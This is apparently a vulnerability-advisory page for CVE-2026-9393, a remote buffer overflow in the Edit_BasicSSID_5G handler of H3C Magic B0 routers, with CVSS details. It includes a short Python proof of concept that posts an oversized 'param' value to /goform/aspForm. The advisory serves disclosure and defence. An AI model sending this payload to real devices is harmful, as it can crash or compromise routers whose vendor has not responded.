Security Vulnerability Report
中文
CVE-2026-9393 CVSS 8.8 HIGH

CVE-2026-9393

Published: 2026-05-24 19:16:23
Last Modified: 2026-05-24 19:16:23

Description

A vulnerability was found in H3C Magic B0 up to 100R002. This affects the function Edit_BasicSSID_5G of the file /goform/aspForm. Performing a manipulation of the argument param results in buffer overflow. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

H3C Magic B0 <= 100R002

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = "http://<target_ip>/goform/aspForm" # Construct payload to trigger buffer overflow # Adjust length based on specific buffer size payload = "A" * 1000 data = { "action": "Edit_BasicSSID_5G", "param": payload } # Send malicious request response = requests.post(target, data=data) print(f"Exploit sent, status: {response.status_code}")

References

Raw JSON Data

JSON
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